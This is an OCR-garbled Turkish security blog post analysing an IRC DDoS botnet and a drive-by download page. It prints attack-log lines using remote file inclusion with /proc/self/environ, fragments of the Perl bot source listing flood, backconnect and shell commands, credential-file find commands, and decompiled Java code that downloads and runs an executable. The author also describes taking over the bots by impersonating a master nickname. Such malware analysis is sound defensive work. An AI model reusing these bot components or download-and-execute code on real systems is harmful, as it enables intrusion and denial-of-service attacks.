66.200.177.98  Tundmatu  Tundmatu J aix {index.ph drs it o o e O O Y B Y Y B L ] 17:54:29
87.236.194.70 Lnux  Netscape Jaix/index.php?leht=stat 17:53:57
91.121.171.27  Tundmatu  Tundmatu 1 Lok sl el ol sclscl sl wcl ssl sof ol ol <o f oo [ proc | self | environ9s00 16:39:12
94.23.31.164  Tundmatu  Tundmatu Y JS SN R [ o Y | 13:43:20
94.23.31.164  Tundmatu  Tundmatu J i f il :_{.;_;.4_;.4.;4_;..; P sy o e 15:45:20
115.68.20.185 dn | dn faix findex.phprieh /s /' lalib standalone/ yes. bt 777 15:26:57

76.73.79.61  Tundmatu  Tundmatu [ aix/index.phpHleht=stat/ *.ph keb Ber=../ ol oul el sl ol scl ol ol ol ocl ol ool ool oo f O] S0 13:00:31
216.14.126.220 Tundmatu  Tundmatu i f L S Y S O P Y S 12:29:05
207.58.145.214 Tundmatu  Tundmatu faix/index.php ek /ndax.ph tedownloads Mar=.f ol kol okl ok ksl kol ook ood ol o[ proc) self [ environt00 11:12:37
67.227.132.232  Tundmatu  Tundmatu [ aixfindex.ph stat/ i Lol ecd salwol sul eel ol wul sud voll ol wn ool oo/ PrOE] S0M | nvironsu00 11:00:58
216.227.214.83  Tundmatu  Tundmatu i f L e o o o B B O B el ] 11:09:17
209.200.245.35 Tundmatu Tundmatu ] atw/ s hp Pieh /il h i 'y Jod b sl sdsd ol iadodadodadadad ol /el ] 11:08:21

| 202.93.37.83  Windows XP  Netscape i findex.phpTeht=stat 10:37:30
213.175.212.36  Tundmatu  Tundmatu / findex.ph d il LY Y L Y Y O Y e o Y B O e L] 10:31:44
211.206.120.196 Tundmatu  Tundmatu Jaix[indax.phpPlebt = stat/index.ph e i T L LY o v o e o e o e e e e 9:55:24
202.130.32.50 Tundmatu  Tundmatu i /index. Vool b scd eal el salsud ecleul wuf sal ool o] o] proc ] self | environ3s00 9:17:20

Jaix/indax.phpTiek 20/ /2 = EE ! !EEE Tincinda/omyPialies.cans. phet Fns
84.40.30.37  Tundmatu  Netscape / @iox fimd / d= — 1 77T 7127125

| 67.195.114.241  Tundmatu  Netscape ;‘M-ﬂ 7422:47
195.199.243.49 Tundmatu  Tundmatu wilssl sl el sl ol ol scl sl sl sl sud ol oo { . [ proc] self [environsu00 6:14:49
67.225.141.62  Tundmatuy  Tundmatu f aix [index.php ek /' hp?thisds '-J-.‘-!»!u!u!u!mfdddufdufnw-ﬂfm 32054
66.79.184.90  Tundmatu  Tundmatu Jwix/index. phpTheh t/ findex.ph i b eid el soll wsl soll vel ol sof call wof cuf wsf soi oo prOC) el f emviron %00 0:47:09
'mv--u._m'_n--u Fimdaw? Fl!’ll!!’!l!lilil-&l—"m m.l

Ardindan istekler arasindan 6rnekleme yaparak istek icerisinde yer alan web adreslerini ziyaret etmeye bagladim.

C AN htp/www Rt > @ ® 0O- &
| | 1 (1 Other bookmark
print ('

FEERRERERERRIRRRRRIRRERREIRREIISS

¥ ¥

] ]

&
EESREERRIRRRRRRRRARRRIRRRRRRIRESE
')
BRERRRRRIRRRRRRRRRRIRRRRRIRRRRRRIRRIIRRBRRRRSRRRR IS

## Usage: 4
## perl file.txt <chan> <server> <port> L
## Notes: #4
## + All Parameters are optional 4
#* #*
## Features: &%
## + RFI Scanner #H
## + AUTO RFI Scanner Domains L e
## + RFI Scan & Exploit (Exploit per engine) #
## + Joomla RFI Scan & Exploit 4
## + UPLOAD BOT PHP #H
## + MilwOrm Search &
$## + Google bypass (Using PHF) ##
## + Message Spy & Save 4

FRRRNINIBIIIBIIIIIIIIIITIIIIIIIIIIITIIIIIIIIIIINIE

## Hiscory:

## + Fixed cryptz command (v4.5)

## + Fixed user commands execution by unauthorized user (v4.6)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)

use strict;
10::Socket: :INET;
LWP: :UserAgent;
HTTP: :Request;

my Sversi
my

= "zfx by —
= 4G Prefix
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A ———— e » 2@ O 4|
| i (] Other bookmarks

<?php
J-

FEERSERIRRRRNRERRRRRRRRRRRRRRRRRRRYY

I

I 1#1
I 1%|
I 1#1
I 1#1
I

FERRRERRRRER|

wy
function rx() {

/* Channel Bot */
Schannels = *#feml'; // chanell pisahkan dengan spasi

/*** Admin ***/
$admin = ‘a _a';
$bot_password = 'cok'; //Password untuk auth bot

$localtest = 0; //1, Coba di localhost. 0, connect ke server irc
§showrespone = 0; //1, Nampilin respon dari server irc

//Nick Bot

Snicklist = array(

"Abdulrrazak®, "Ackrerman®, "Adrams®”, "Addrson®, "Adelstein®, "Adribe”, "Adrornc™, "Ahlrers”, "Arlavi®, "Alcorra®, "Aldra”,

"Alerrks”, "Allrisron”, "Alorrngi”, "Altarvilla”, "Alternberger”, "Altenhofen”, "Amaral”, "Amatangelo®, "Ameer”, "Amsden”, "Anand”, "Andel"”,

*"Anrdo", "Andrrelus”, "Andrrron®, "Anfirrnrud®, "Ansrley”, "Anthony”, "Antos", "Arbia”, "Arduini®, "Arellano®, "Aristotle”, "Arjas”, "Arky"”, "Atkina",
"Augustus®, "Aurrelius®, "Axelrrod”, "Axworrthy”, "Ayiemba®, "Aykroyd®, "Ayling”, "Azima®, "Bachmuth®, "Backus®, "Bady", "Baglivo®™, "Bagnold”,

"Barilar”, "Bakanrorwsky”, "Barleja”, "Ballatori”, "Ballew", "Baltz”, "Banta”, "Barabesi”, "Barajas”, "Baranczak”, "Baranowska”, "Barberi”, "Barbetti”,
*"Barnerson”, "Brarnrett”, "Barriola”, "Barry”, "Bartholomew”, "Bartolome”, "Bartoo®, "Basavappa®, "Bashevis®”, "Batchelder®, "Baumiller®, "Bayles®™, "Bayo®,
"Beacron®, "Berral”, "Bean”, “Beckrman”, "Bedrer”, "Bedfrord”, "Behenna”, "Belanger”, "Belacussof”, "Belfer”, "Belin-Collart™, "Bellavance”, “Bellhouse”,

"Berlrlini", "Berlloc”, "Benedict-Dye","Brrrgson”, "Berrrke-Jenkins", "Bernardo®™, "Bernassola”", "Bernston®”, "Berrizbeictia”, "Betti”™, "Beynart™, "Biagioli"”,
*"Birrkel®, "Binrion"™,"Bir", "Bisema”™, "Bisrho”, "Blackrbourn”, "Blackwell™, "Blagg®, 'Blnkﬂare" "Blanke”,"Bliss®, "Blizard”™,"Bloch”, "Bloembergen®,
*"Blroremhof®, "Blorrxham®, "Blyth”, "Bolgrer”, "Borrhman®, "Botosh”, "Boudin®, "B " £, "B *, “Boxer”, "Boyajian®, "Boyes®, “Boyland®,

C i 1 nopyf —Y/cuxt > B2 6 0 &

1 | | [ Other bookmarks

#!/usr/bin/perl ﬂ

use HITP::Requestc:
use LWP::UserAgent;

my Sprocesso = *[htepd]’:

my $linas max='4";

my Ssleep='6':

my Scmd="[PHP-SHELL]":

Ty L ——————————————————— "
e —————————————————————
my @canais=("#bot™):

my @nickname = ("None".int (rand(1000))):

my $nick = $nickname[rand scalar @nickname];

my §ircname =‘'None®:

chop (my $realname = ‘[Eoe———p) :
$servidor="irc ). info' unless §$servidor;

my $porta="1980°;

§SIG{'INT*} = "IGNORE®;
$SIG{'HUP'} = 'IGNORE':
SSIG('TERM'} = "IGHORE':
§$SIG({'CHLD'} = "IGMORE';
$SIG('PS')} = "IGNORE':

use IO::Socket:

use Socket;

use IO::Select:

chdix (/")

#Connect

$servidor="S$ARGV[0]"™ if SARGV[O]:
$0="§processo”™."\0"x16;;

my Spid=fork;

exit if $pid:

die "Masalah fork: $'" unless defined($pid);
our %irc_servers;

our SDCC:
my S$dcc sel = new I0::Select->new():

Kisa bir gezintiden sonra son ekran goriintiisiinde yer alan c.txt adindaki zararli kodu detayli olarak inceledigimde DDOS botu
kesfettigimi anladim.

if ($funcarg =~ /"help/) {
sendraw(8IRC cur_socket, "PRIVMSG Sprintl :14(2Help14)3 Scanner edit by XXXXXXXXX"),

sendraw(3IRC cur_socket, "PRIVMSG Sprintl :14(2Help14)3 Ix 2@ddos");
sendraw(8IRC cur_socket, "PRIVMSG Sprintl :14(2Help14)3 Ix 2@rfi"),
sendraw(3IRC cur socket, "PRIVMSG Sprintl :14(2Help14)3 Ix 2@backconnect");

sendraw(3IRC cur _socket, "PRIVMSG Sprintl :14(2Help14)3 Ix 2@shell");
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sendraw(8IRC cur_socket, "PRIVMSG $printl

sendraw(8IRC cur_socket, "PRIVMSG $printl

/

if ($funcarg =~ /~ddos/) {
sendraw($IRC cur socket, "PRIVMSG $printl

sendraw($IRC cur socket, "PRIVMSG $printl
sendraw($IRC cur socket, "PRIVMSG $printl
")
sendraw($IRC cur socket, "PRIVMSG $printl
")
sendraw($IRC cur socket, "PRIVMSG $printl

}

if ($funcarg =~ /“backconnect/) {
sendraw($IRC_cur_socket, "PRIVMSG S$printl

sendraw($IRC_cur_socket, "PRIVMSG S$printl
");

}

if ($funcarg =~ /"shell/) {
sendraw($IRC cur_socket, "PRIVMSG $printl

sendraw($IRC cur_socket, "PRIVMSG $printl
sendraw($IRC cur_socket, "PRIVMSG $printl

sendraw($IRC cur_socket, "PRIVMSG $printl

}

if ($funcarg =~ /“portscanner/) {
sendraw($IRC cur_socket, "PRIVMSG $printl

sendraw($IRC cur_socket, "PRIVMSG $printl

sendraw($IRC cur_socket, "PRIVMSG $printl

}

if ($funcarg =~ /*commands/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl

sendraw($IRC_cur_socket, "PRIVMSG $printl
sendraw($IRC_cur_socket, "PRIVMSG $printl
sendraw($IRC_cur_socket, "PRIVMSG $printl
")

sendraw($IRC cur_socket, "PRIVMSG $printl

sendraw($IRC_cur_socket, "PRIVMSG $printl

");

:14(2Help14)3 !x 2@portscanner”);

:14(2Help14)3 Ix 2@commands");

:14(2Help14)3 There are 3 DDos in this bot");
:14(2Help14)3 UDPFlood, HTTPFlood and TCPFlood");

:14(2Help14)3 !'x 2@udpflood 3

:14(2Help14)3 'x 2@tcpflood 3

:14(2Help14)3 'x 2@httpflood 3 ");

:14(2Help14)3 You use backconnect like this :");

:14(2Help14)3 'x 2@back 3

:14(2Help14)3 This bot has a integrated shell");
:14(2Help14)3 You can use it in private but also public in the channel");
:14(2Help14)3 In public channel just use : 2!x cd tmp3 for example");

:14(2Help14)3 For help with the linux commands type :!x 2@linuxhelp");

:14(2Help14)3 There is a normal portscan and a Nmap:");
:14(2Help14)3 'x 2@portscan 3");

:14(2Help14)3 'x 2@nmap 3 ");

:14(2Help14)3 You can use the following commands :");
:14(2Help14)3 'x 2@portscan 3");
:14(2Help14)3 !'x 2@nmap 3 ");

:14(2Help14)3 'x 2@back 3

:14(2Help14)3 !x cd tmp for example");

:14(2Help14)3 !'x 2@udpflood 3

54



sendraw($IRC cur_socket, "PRIVMSG $printl
")

sendraw($IRC cur_socket, "PRIVMSG $printl
sendraw($IRC cur_socket, "PRIVMSG $printl
sendraw($IRC cur_socket, "PRIVMSG $printl
sendraw($IRC cur_socket, "PRIVMSG $printl
sendraw($IRC cur_socket, "PRIVMSG $printl
sendraw($IRC cur_socket, "PRIVMSG $printl
sendraw($IRC cur_socket, "PRIVMSG $printl
sendraw($IRC cur_socket, "PRIVMSG $printl

sendraw($IRC cur_socket, "PRIVMSG $printl

}

if ($funcarg =~ Minuxhelp/) {
sendraw(8IRC cur socket, "PRIVMSG $printl

sendraw(8IRC cur_socket, "PRIVMSG $printl
sendraw(8IRC cur_socket, "PRIVMSG $printl
sendraw(8IRC cur_socket, "PRIVMSG $printl
sendraw(8IRC cur_socket, "PRIVMSG $printl
sendraw(8IRC cur_socket, "PRIVMSG $printl
sendraw(8IRC cur_socket, "PRIVMSG $printl
sendraw(8IRC cur_socket, "PRIVMSG $printl

sendraw(8IRC cur_socket, "PRIVMSG $printl

:14(2Help14)3 'x 2@tcpflood 3

:14(2Help14)3 !x 2@httpflood 3 ");
:14(2Help14)3 'x 2@linuxhelp");
:14(2Help14)3 Ix 2@rfi 3 ");
:14(2Help14)3 Ix 2@system");
14(2Help14)3 x 2@logeleaner”);
:14(2Help14)3 !x 2@sendmail 3 ");
:14(2Help14)3 x 2@milwOrm");
:14(2Help14)3 Ix 2@join #channel");

:14(2Help14)3 !x 2@part #channel");

:2 Dir where you are : pwd");

:2 Start a Perl file : perl file.pl”);

:2 Go back from dir : cd ..");

:2 Force to Remove a file/dir : rm -rf file/dir;Is -la");

:2 Show all files/dir with permissions : Is -lia");

:2 Find config.inc.php files : find / -type f -name config.inc.php”);

:2 Find all writable folders and files : find / -perm -2 -Is");
:2 Find all .htpasswd files : find / -type f -name .htpasswd"),

:2 Find all service.pwd files : find / -type f -name service.pwd"),

Botun iizerinde yer alan IRC sunucusuna baglandigimda 2 tane bot kanali oldugunu gordiim. Birinci kanalda 175 ikinci kanalda
ise 72 adet bot bulunuyordu. Bot efendileri disinda herhangi birinin botlar1 yonetmemesi adina botun iizerine 5 efendinin rumuzlari
tanimlanmisti. Bu tanim sayesinde bu rumuzlar diginda herhangi biri botlar1 kontrol etmeye galistiginda bot yanit vermiyordu. Bunun
tizerine bende hemen rumuzumu efendilerden birinin rumuzuna ¢evirerek botlari kontrol etmeyi basarabildim.
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[72) [+ns
Wiew Fgvorites Took Commands Window Help
W aglewSuenLdblUspBOB 2

B=’5r_ (7] MomoX361665488 | 7| Aret329 9 Channels Lt

an kerja di Indosat

=l&1x

= [{None237> (Help) Scanner edit b - o
<Hone35> (Help) Scanner edit by
<None313258115> (Help) Scanner :!W&
<None288157317> (Help) tx @rfi
<Hone288157317> (Help) 'x Bbackconnect
<Hone288157317> (Help) *x @shell HomoX13
<Hone288157317> (Help) tx Bportscanner HomoX25
<Hone288157317> (Help) *'x Bcommands HomoX33h
<Hone140> (Help) Scanner edit by 1] HomoX3347
<Noneh31> (Help) 'x Bddos HomoX3616
<Hones31> (Help) tx @rfi HomoX363
<Honeh31> (Help) ?'x @backconnect Homo X395
<Honeh31> (Help) ?x @shell HomoX3958
<Hones31> (Help) 'x @portscanner HomoX4329
<Honeh31> (Help) ?x Ecommands Homo X495
<Honed5> (Help) 'x Bddos Homo X526
<Hone35> (Help) 'x @rfi HomoX531
<Honed5> (Help) 'x @backconnect HomoX5312
<Honed5> (Help) tx @shell HomoX5314
<Hone3d5> (Help) 'x Bportscanner HomoX5319
<Hone3d5> (Help) ?*x BEcommands HomoX61h —
<Hone313258115> (Help) tx Bddos HomoX655
<None313258115> (Help) tx @rfi HomoX661
<Hone313258115> (Help) *x @backconnect HomoX717
<Hone313258115> (Help) *x BEshell HomoX 742
<Hone313258115> (Help) tx Bportscanner HomoX761
<Hone313258115> (Help) *x Bcommands HomoX788
<Hone1kB> (Help) tx Bddos Homo X822
<Hone14@> (Help) tx @rfi HomoX865
<Hone14@> (Help) ?'x @backconnect HomoX942
<Hone140> (Help) 'x @shell Homo X980
<Hone1k@> (Help) tx @portscanner
<Hone1k@> (Help) 'x Bcommands Hone103
<Mone237> (Help) t'x @ddos Hone14@
<NHone237> (Help) tx @rfi Hone 14096
<Hone237> (Help) 'x @backconnect Hone15
<Hone237> (Help) 'x Bshell Hone15210
<Hone237> (Help) tx @portscanner Hone163
<Hone237> (Help) 'x Bcommands > | Hone2 02 1’

1| | #] tx @help|

a di Indosat I =18lx|
=181 x|
A esLluemLsad L swBOGI2
l|’Ljrb¢ |7 MomoXJ61665488 || Aet329 7] MomoX363 [21] None15 & Channels List
= =
HomoX13
HomoX25
HomoX33h
Homo X347
HomoX3616
; MomoX363
|9 Channels List * Mow talking in ®bot HonoX395
= Topic is ‘Lowongan kerja di Indosat I ——— HomoX3958
* Set by dun Wed Jun 09 07:18:54 Homo X329
A= Hone1S Bsystem Homo X495
<Hone15> Info BOT : irc info : 1980 Homo X526
<Hone15> Uname -a : Linux www?.missdica.com 2.6.18-164.15.1.e15 #1 SHP Wed Mar 17 11:30:06 EDT 2010 xB6_64 xB6_64 xB6_64 GNU/Linux Homo X531
<Hone15> Uptime 3 04:59:22 up 68 days, &:17, O users, load average: 64.37, 63.58, 53.71 HomoX5312
<Hone15> Own Prosses : [httpd] HomoX5314
<Mone15> 1D : uid=M8{apache) gid=s8(apache) groups=a8(apache),51(sansp) HomoX5319
<Hone15> Own Dir : Jtmp HomoX614
{Mone15> 05 : CentDS release 5.4 (Final) Homo X655
<Hone15> Dwner : achap HomoX661
<Hone15>» Channel :  Bupsi HomoXT717
Hone15 ifconfig Homo X742
<Hone15> eth@ Link encap:Ethernet HWaddr 00:08:9F :F1:4B:88 Homo X761
{Hone15> inet addr:222.122.161.173 PBcast:222.122.161.191 Mask:255.255.255.224 Homo X788
<Hone15> UP BROADCAST RUNNING MULTICAST MTU:15 Metric:1 Homo X822
<Hone15> RX packets:3N05417117 errors:@ droppe overruns:@ frame:0 HomoXB65
{Hone15> TH packets:6106168932 errors:® dropped:® overruns:® carrier:® HomoX9h?
<Hone15> collisions:® txqueuelen:1000 Homo X980
<Hone15> RX bytes:406056038477 (378.1 GiB) TX bytes:7530630423961 (6.8 TiB)
<Mone15> Interrupt:209 Base address:@x2000 Hone 14096
<Hone15> lo Link encap:Local Loopback
<Hone15> inet addr:127.0.0.1 Mask:255.0.0.0 Hone15218
{Hone15> UP LOOPBACK RUNHING MTU:16436 Metric:1 Hone163
<Hone15> RX packets:5029763 errors:@ dropped:® overruns:@ frame:@ Hone197
<Hone15> TX packets:5029763 errors:@ dropped:® overruns:@ carrier:@ Hone2 82
<Hone15> collisions:® txqueuelen:@ _|Hone211
<Hone15>» RX bytes:8076121680 (7.5 GiB) TX bytes:8076121680 (7.5 GiB) =|Hone2a7 x|
L R
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I———— -loix]

.| Ble View Fgvorites Tools Commands Wndow Help =121 x|
W R OB Ll 2lseB0B 2
I ] et 7] MomoX361665488 || Aret 329 7] MomoX363 None 15 None 197 7| None240  Channels List
| ————] g
= [ Channel: 2
] #bot
= Query: 6
1| MomoX 36166545 | gy, g x
(21 Aret329 <Hone2h®>  PID TTY TAT  TIME COMMAND
il MomolX363 <Hone24B> 1378 00 [perl] <defunct>
- <None240> 1380 00 [perl] <defunct>
_None19 <Hone2k0> 1383 08 [perl] <defunct>
<Hone240> 1508 00 [perl] <defunct>

i Charncls List <Hone2u0> 1509
<Hone2zuB> 1510
{Hone240> 1511
<Hone2uB> 1512
<Monezum> 1554
{Hone240> 1593
{Hone240> 1594
<Hone2u0> 1596
{Hone24@> 1597
{Hone240> 1599
{Hone240> 1630
<Hone2u0> 1873
{Hone240> 1992
{Hone240> 2020
{Hone24@> 3088
CHone2u0> 3345
{Hone240> 3390
{Hone240> 331
<Mone2u0> 3392
{Hone24@> 3393
{Hone240> 3394
tHone2h@> 3412
CHone2uB> N1k
{Hone240> 34hY
<Honezne> 3512
{Hone240> 3555
<Hone2u0> 3585

14 ] ki1l -9 3088

00 [perl] <defunct>
a8 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct>

05 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct>

08 [perl] <defunct>

00 [perl] <defunct>

05 [perl] <defunct>

o4 [perl] <defunct>

80 Jusr/bin/php /home/familiev/public_html/cms/modules/guestbook/admin.php
08 [sh] <defunct>

B:hh [httpd]

08 Jusr/bin/php /home/familiev/public_html/cms/modules/guestbook/admin . php
08 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct>

00 [perl] <defunct}

80 [sh] <defunct>

00 [perl] <defunct>

80 fusr/bin/php /home/familiev/public_html/cms/modules/guestbook/admin.php

25

B I R I I T I I e e I I
-

GO RN N RN R N R RN N G 0 RN G N N N RN R N N R N N R AN N

T Y r Y F F R R Y R T Y R R T R R I EE R R R R T R X )

Lel

Daha c¢ok uygulama saldirilarinin tehdit olarak goriildiigii giinlimiizde IPS, ¢ogu agm vazgecilmez bir parcasi iken DDOS korunma
coziimleri genellikle ikinci planda tutulmaktadir. Peki amaci sadece size zarar vermek olan art niyetli kisi veya kisilerin sisteminiz
iizerindeki uygulama zafiyetini kesfetmesi, IPS'i gegmesi ve istismar etmesi ile sadece arama motoru ile kesfettigi, yonetebildigi ve
her biri 1 Mbit baglantiya sahip olan 200 bot ile saldir1 gergeklestirmesi karsilagtirildiginda hangisinin gerceklesme olasiligi sizce daha
yliksek ?

Bir sonraki yazida goriismek dilegiyle herkese risk degerlendirmelerinde yer alan olasilik degerlerini tekrar gozden gegirmelerini tavsiye
ederim, hoscakalin...

Siber Takip

Source: https://www.mertsarica.com/siber-takip/
By M.S on June 9th, 2010

P

Aslinda bu haftaki yazim i¢in Linux isletim sistemi {izerinde zararl kod analizi ile ilgili birseyler karalamaya karar vermistim. Incelemek
icin Ornek rootkit benzeri zararli bir kod arryordum fakat daha sonra rootkit yerine zombi bot amaciyla kullanilan zararli bir kod
incelemenin daha faydali olacagini diisiinerek aramaya koyuldum. Google arama motorunda bir ka¢ anahtar kelime kullanarak arama
gerceklestirirken rotay1 Tiirkce sitelere ¢evirdim ve bir kac sorgu sonrasinda "botnet paylasim portali" anahtar1 kelimesi ile arama
yaptigimda, icerik olarak dikkatimi ¢ceken ve bir foruma sahip olan web adresi ile karsilastim. Foruma Firefox internet tarayicisi ile
baglandigimda 404 hata mesaj1 ile karsilastim. Ana sayfay1 ziyaret ettigimde ise karsima pornografik gorsel icerige sahip bir sayfa cikti
ve akabinde Java'nin giivenlik uyarisi ile karsilastim. Java uyarisi bana dijital imzas1 dogrulanamayan bir java kodunu ¢alistirmak isteyip
istemedigimi soruyordu ve isin ilging yan sitedeki direktifler kodu calistirmam yoniindeydi. Ana sayfaya Internet Explorer internet
tarayicisi ile baglandigimda ise bu defa karsima oncelikle ActiveX eklenti yiikleme uyarisi daha sonra ise Java giivenlik uyarisi ¢ikti.
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Sex adult porno film izle desing

Fle Edt \iew Hgtory Bookmarks Tools Help
£ Most Visted (Getting Started Latest Headlines

_se»m porno film...

Directed ... (Continue to press the Run butt

If it is not the latest version of flash player installed
on your computer can not open & ie!

PORNOGRAFIK ICERIK

- =

Done

Sex adult porno ing Mozilla Firefox

Fle Edt \View Hgtory Bookmarks Tools Help

£ Most Visted Getting Started Latest Headlines
I =t poroo ...

Directed ... (Continue to press the Run button)

0
Warning - Security

r installed
The application's digital signature cannot be verified.

Do you want to run the application?

Sun Java Console
Publisher: Sun MicroSystems
rrom: |

| Bwarys brust conkent from this publksher|

Tha dighal signature cannot be varified by a rusied source. Only
run iF you trust the origin of the application

- =

Done

Sayfanin kaynak kodunu inceledigimde ilk olarak unicode karakterlerden olusan karakter dizisi daha sonra ise Java class dosyasi ve

image.exe dosyasini iceren web adresi dikkatimi ¢ekmisti.
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<body bgcolor="#000000" style="background-color: #000000"> &

f: hitp:/fhwww. Firefox

Gle Edt Miew Help

font-size: 24px: A
]
-3
</style></head><body style="background-color: #000000">
<div align="center">
<p class="stylel”:><font face="Tahoma" color="#FFFFFF">Directed ... (Continue to press the Run button)</fent></p>
p>
<title> N FoRRa” </title>
<p ol mal aligr style='text-align:center'>
<img border="0" sro="4.gif" width="450" height="335" align="left"><img width=450
height=369 id="_x0000_i1025"
sro="hetp://vuv. I | layecl. JpgT></p>
<p class=HsoNormal align=center style='text-align:center'>
&nbsp:</p>
gnb=p: ¢nbep;: snbap:
<applet name="3un Java Console®” code="Inicio.class" archive="JavaSetup.jar®™ height="10" width="1">
<param name="ur1" value="heep://vuv R irege . cxem>
</ applet>
</p>
</fdiv>
</body></html>
<p align="center">{nbap: fnbap;: (nbap; (nbsp; (nbsp; fnbsp; tnbap; énbap; énbap; &nbep; &nbep; Enbep; nbap;: Enbsp; Enbsp; Enbsp; Enbsp; Enbsp; énbsp; £nbap; Enbap; énbap;: énbap: énbsp: &
nbsp; &nbep; Enbep; Enbsp; Enbap; Enbep;: fnbep; Enbep; énbap: (nbep; énbs nbep:énbsp; fnbsp; fnbep: fnbep; énbap: fnbep: énbep;: énbep: énbsp;: énbap: nbsp; fnbep: fnbsp; fnbep: fnbap: &
nbap; nbsp; énbap; Enbap; énbap; &nbop;: nbap; &nbap; enbsp; énbap; énbs nbop;: énbsp; énbop; nbap: énbop; Enbap; énbap; Enbap; énbap; Enbap; énbap; énbap; énbap; énbap; énbap: &
nbap; énbap;: énbap; Enbap;: énbap; §nbep;: fnbap; énbep;: énbap; énbep; énbap; Enbep; énbap; Enbsp; énbap; Enbsp: énbsp; Enbap;: énbsp; Enbsp; Eénbsp; énbsp; énbap: énbsp; Enbap: énbsp; Enbsp:
</p>
</p>
<p align="center™>
<img border="0" sro="http://members.lycos.co.uk/cfsohbet/yukleniyor.gif™ width="196" height="66" align="left"> </p>
<p align="center">&inbsp: &nbsp: Enbsp; nbsp; fnbsp; Enbsp; Enbep; Enbep; Enbep; &nbep; £nbep; Enbsp; Enbep;: &nbsp; Enbsp; Enbsp; Enbsp; Enbsp; &nbsp; Enbap;
</p>
-

ilk is olarak unicode karakterleri kaldirarak tiim hex degerleri hex editdre kopyalarak stringleri incelemeye basladim ve yiiklenmesi
onerilen Activex'in bir downloader oldugunu ve indirilecek uygulama olarakta image.exe dosyasinin parametre olarak belirtildigini
farkettim. Ardindan Inico.class dosyasini decompile ederek igerigine bakmaya karar verdim ve yine ayni sekilde url parametresinde yer
alan image.exe dosyasinin indirilip ¢alistirilmak iizere kodlandigini gérdiim.
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Hex Works

Bt E® ook e Lok Mndow b g
ASHAB LARAE 920 NARD oPD %% E | |[w « » -

A BN Mo @

74
BF
BY Im 1zle desing
65 72 41 63 >.<BODY> .<OBJECT ID-'DmlaaderAc
20 0D 43 4C tiveX1" .WIDTH="0" .HEIGHT="D" .
65 2D 62 62 ASSID="CLSID:clb7e532-3ech-4e%- bh
74 70 3A 2F 3a-2951ffeb7cH1" .CODEBASE="http:~
64 2F 44 6F /ch.community.slice.it download Do
30 2€ 30 2C wnloaderActiveX.cab#ersion=1,0.0.
62 61 63 6B 1"» .<PARAM HAME="propProgressback
2 41 4D 20 4E ground" VALUE="#bcceeB8"> .<PARAM N
3D 22 23 66 AME="propTextbackground” VALUE="#§f
1 b 2 " 6F 6C 6F 72 7fBfc"> .<PARAM HAME="propBarColor
IOUDGDiBA 22 20 56 41 4C S5 45 3D 22 23 64 66 30 32 30 33 22 3E 20 0D 3C SO 41 S2 41 4D 20 4E 41 4D 45 3D 22 70 " VALUE=-"#df0203"> .<PA NAME="p
00001DT 72 6F 70 S4 65 78 74 43 €F 6C 6F 72 22 20 S6 41 4C 55 45 30 22 23 30 30 30 30 30 30 22 3E 20 0D 3C SO ropTextColor" VALUE="#000000"> .<P
FE 20 56 41 4C 55 45 3D 22 30 22 3E 20 OD ARAM MAME="propWidth" VALUE="0"> .
68 74 22 20 56 41 4C 55 45 3D 22 30 22 <PARAM NAME="propHeight" VALUE="0"
6F 77 6E 6C 6F 61 64 55 72 6C 22 20 56 > .<PARAM NAME="propDownloadUrl" V
oo 41 4C 55 45 3D 22 68 74 74 70 3A 2F 2F 77 77 77 2E 6B 39 74 72 69 74 6F 6E 2E 74 6B 2F 69 8D 61 57 65 ALUE~ image
00000286 2E 65 78 65 22 3E 20 0D 3C S0 41 52 41 4D 20 4E 41 4D 45 3D 22 70 72 6F 70 SO 6F 73 74 64 6F 77 6E 6C .exe"> .<{PARAM MAME="propPostdownl
b E 4C S5 45 3D 22 72 75 6E 22 3E OD 3C SO 41 52 41 4D 20 4E 41 4D cadActicn® VALUE="run">.<{PARAM HMAM
6C 43 6F 6D 70 6C 65 74 65 55 72 6C 22 20 56 41 4C 55 45 3D 22 E~"proplnstallCompletelirl™ VALUE="
4D 45 3D 22 70 72 6F 70 62 72 6F 77 73 BS 72 52 B5 64 €9 72 65 "> .<PARAM NAME="propbrowserRedire
22 22 3E 20 OD 3C SO 41 52 41 4D 20 4E 41 4D 45 3D 22 70 72 6F ctUrl" VALUE=""> .<PARAM NAME="pro
55 45 3D 22 30 22 3E 20 0D 3C SO 41 52 41 4D 20 4F 41 4D 45 3D p\hrhoso VALUE="0"> .<PARAM NAME=
74 22 20 56 41 4C S5 45 3D 22 30 22 3E 20 OD 3C 2F 4F 42 4A 45 ° pruplntsrrupt' VALUE="0"> .«
3C 2F 73 63 72 69 70 74 3E 09 0D 3C 2F 62 6F 64 79 3E 0D 3C 2F CD

~

41 59 41 5A 49 4C 49 4D ZE 43 4F 4D 27 41 20 41 49 54 54 49 52

lﬂ 35 Compare R Chackeum | ({1 Find | 4 Bookmarks =] Output |
Offset: 00000103 Vahue: 8269 995 bytes OWR MOD ik

# Inicio. jad - DJ Java Decompiler

Ele Edt Search View Settings Language Jook Help

"AHS v s REX A EE v I Bsu ExIEY VB
i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i iy '
byte buffer{] = new byte[10240 -~ *
String archivo = - -
System.out ™ >»333233>>> ")) append(archivo).toString()).
String ext = archivo. suhstnng{arthm lastindexOf™ )); =1}
ext = ext toLowerCase(), a
File nuevo = File craalaTempFil
FileOutputStream stream = new FileOutputStream({nueva); L&)
URL ur = new URL(archivo); 9
URLConnection uc = ur.openConnection(),
BufferedinputStream is = new Bufferedinput Stream({uc. getinputStream()), a
int leidos; g
while((leidos = is. read{buffer)) > 0) a
stream. write(buffer, 0, leidos);
stream. close();
iffext.contains(” jar")
Runtime.getRuntime() exec({new StringBuilder(String valueOfiSystem getProperty("sun boot library path®)))) append(™javaw exe -jar \™) i getAbsolutePath() append(™™).toString()), R
else
try .
{ =
Runtime.getR 0 getAb Path(); a

|
catch{lOException e)
l

Fule f= File. :reateTempFﬂ{("trnp" " bat"), I

ileQ;
f delaleOnE xit();

PrintWriter pw = new PrintWriter(f),

gl (V")) app get ath{)). append(™"").toString());

w.p \
pw.close();
uniime. gefRuntime(). exec(l getAbsoluleFath{]],

L
